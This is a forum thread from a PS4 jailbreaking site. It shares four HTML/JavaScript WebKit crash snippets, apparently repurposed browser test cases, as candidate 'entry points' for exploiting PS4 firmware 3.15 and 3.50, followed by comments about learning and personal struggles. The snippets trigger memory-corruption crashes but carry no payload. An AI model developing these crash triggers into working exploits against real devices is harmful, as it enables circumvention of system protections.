Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS4 Jailbreaking       Thread starter mcmrc1       Start date Apr 10, 2016 at 12:04 PM       150      
Status
Not open for further replies.
Following the recent PS4 Dlclose Exploit for 1.76 Firmware, today I'd like to share a talk between zecoxao and Zer0xFF on finding an entry point for testing with PS4 Firmware 3.15 and also 3.50.
@zecoxao seems to be working on an entry point for the PS4 3.15 FW and wants some testers :)
1. Entry point:
Code:
<iframe></iframe><object onbeforeload="crash()">
    <script>
    if (window.testRunner) {
        testRunner.dumpAsText();
        testRunner.waitUntilDone();
    }

    function crash() {
        document.getElementsByTagName("iframe")[0].contentWindow.scrollX;
        document.open();
    }

    document.body.offsetLeft;
    setTimeout(function() {
        document.close();
        document.body.innerHTML = 'PASS if not crashed.';
        testRunner.notifyDone();
    }, 1);
    </script>
2. Entry point:
Code:
<input id="t1" type="time">
    <script>
    var time1 = document.getElementById('t1');
    document.addEventListener('beforeload', function(event) {
        time1.value = time1.value ? '' : '23:59';
    }, true);

    if (window.testRunner) {
        testRunner.dumpAsText();
        testRunner.waitUntilDone();
    }
    setTimeout(function() {
        document.body.innerHTML = 'PASS if not crashed.';
        testRunner.notifyDone();
    }, 100);
    time1.focus();
    </script>
    <embed src="data:text/html,PASS"></embed>
Also the the source code from the Webkit from Sony ;)
3. Entry Point:
Code:
<script>
function inituaf() {
  for(var i=0; i<100; i++) {
    for(var j=0; j<32; j++) {
    }
  }
  try { CollectGarbage(); } catch(err) {
    try { window.gc(); } catch(err) {
      for(var i=0; i<100; i++) {
      }
    }
  }
}

function eventhandler2() {

  try { var00002 = document; } catch(err) { } //line 2
  try { var00003 = var00002; } catch(err) { } //line 3
  try { var00043 = 0; } catch(err) { } //line 45
  try { var00044 = var00003.getElementsByTagName("iframe")[var00043]; } catch(err) { } //line 46
  try { var00045 = var00044.contentWindow; } catch(err) { } //line 47
  try { var00063 = -1; } catch(err) { } //line 67
  try { var00064 = 0; } catch(err) { } //line 68
  try { var00045.scrollTo(var00063,var00064); } catch(err) { } //line 69
  try { var00002.write(); } catch(err) { } //line 185
}


</script>
><object onbeforeload="eventhandler2()"><iframe>
4. Entry Point:
Code:
<!DOCTYPE html>
<html>
<body>
<iframe></iframe>
<script>

var _gc;

function run()
{
    var iframe = document.getElementsByTagName('iframe')[0];
    iframe.contentDocument.documentElement.contentEditable = true;

    iframe.contentDocument.documentElement.addEventListener('focusout', function () {
        iframe.parentNode.removeChild(iframe);
    }, false);

    iframe.contentDocument.documentElement.focus();
}
document.addEventListener('DOMContentLoaded', run);
</script>
</body>
</html>
PS4 3.15 Firmware Entry Point.png
 

Comments

yeah the dlclose is working on 2.57 maybe but he is testing 3.15 and 3.50 and dlclose isnt working here...
So maybe he has something found for 3.00 fw and so one :)
 
yeah the dlclose is working on 2.57 maybe but he is testing 3.15 and 3.50 and dlclose isnt working here...
So maybe he has something found for 3.00 fw and so one :)
I think this is the purpose of testing entry points in fact. I think some sceners have found something useful in 3.50.
Time (or zecoxao) will tell.
 
Everybody can help:
1 - try to understand how is working the "1.76 PS4 Playground" (with the help of Curt's Tutorial)
http://cturt.github.io/PS4-playground/
2 - try to adapt it to one of the zecoxao's memory warning sample's code
Well i know,but in the end we(some end users) are not developer and we don't attend a computer science university.
It is glad that many end users become tester but in the end we aren't developers.It is up to the developers.
 
want me to be honest ppl like u and spacemonkey i think and this is only my analysis

have a desire to pick these things up in your old age but feel that it is a stretch

being frank

i'm 22 and program in several dozen languages
and have knowledge about things i enjoy studying about
and learning

honest truth: i'm a man that is no different from you or the next guy

it is never to late to learn.

my challenge to you guys

push yourself to take on something different

direct from me , i'm willing to work with anybody
and learn even more.

never to late to learn.
 
want me to be honest ppl like u and spacemonkey i think and this is only my analysis

have a desire to pick these things up in your old age but feel that it is a stretch

being frank

i'm 22 and program in several dozen languages
and have knowledge about things i enjoy studying about
and learning

honest truth: i'm a man that is no different from you or the next guy

it is never to late to learn.

my challenge to you guys

push yourself to take on something different

direct from me , i'm willing to work with anybody
and learn even more.

never to late to learn.


Couldn't say it any better myself...I stayed up late last night crashing/freezing my PS4 out, and working with trying to tweak PS4 Playground among others. Not for anybody else but myself to learn. It's exciting to me to dig in, and see what I can come up with while learning as much as I can. Trying to expand on some of the tools these devs have giving so far, and just see what I can do with them. Don't be afraid to jump in and just learn as much as you can. There are a great group of guys here that don't mind helping out as well which you can learn from, but you have to be willing to dig in.
 
im dealing day to day with ppl who are dissapointed with me everyday on things on my own flaws
but i get thru it as well as try to work hard.
to everyone who thinks i have it easy

and run my mouth

i have a hard time getting a job

and i have problems with education and im 22
but im trying to fix them
most will never know on my side
how much i struggle
but i take it to make myself better no matter how much i am doubted.
realizing is one thing.
doing it is the hardest
people have to understand i swallow my pride to continue perservering
sometimes with all the dissapointment that is placed on me
even feeling hurt
i use it as extra fire.
 
Well I think nobody here tried to place dissapointment on you @SorenAlke neither tried on anybody else. Don't know how things are going on you but you seem to know a lot about this stuff, that's why I quoted you pages back to say I got the correct warning.
And I also think that it is more a problem of education than anything else: I really tried to develop apps and games but instead of it I had to get a degree. Society sucks when you get realistic: scene and development is quite a hard job that only a few are able to handle. That's why I believe more in you than anybody else.
Best wishes to everyone who contributes.
Greetings.
PS: my apologies for the offtopic, let the webkit go
 
Well I think nobody here tried to place dissapointment on you @SorenAlke neither tried on anybody else. Don't know how things are going on you but you seem to know a lot about this stuff, that's why I quoted you pages back to say I got the correct warning.
And I also think that it is more a problem of education than anything else: I really tried to develop apps and games but instead of it I had to get a degree. Society sucks when you get realistic: scene and development is quite a hard job that only a few are able to handle. That's why I believe more in you than anybody else.
Best wishes to everyone who contributes.
Greetings.

not you my friend jus ppl in my personal life.
regardless what i say stands we can do everything.
even with nothing
@DrPhuz
@GritNGrind
I've attached the following for you in pm let me know what happens
 
This can be a good think for ppl to learn and understand but it's always a point where you want to research everything first then dig out analyzers n start looking at processors and possibilities. I know how all this works but one small miss instruction set and your system is done.
Now that I've seen this running Mac osx have they tried Ydl?
Or considered the so called instruction set is not what it seems?
I have looked at all this ages ago to know what's under the hood of these units and how they operate
 
Status
Not open for further replies.
Back
Top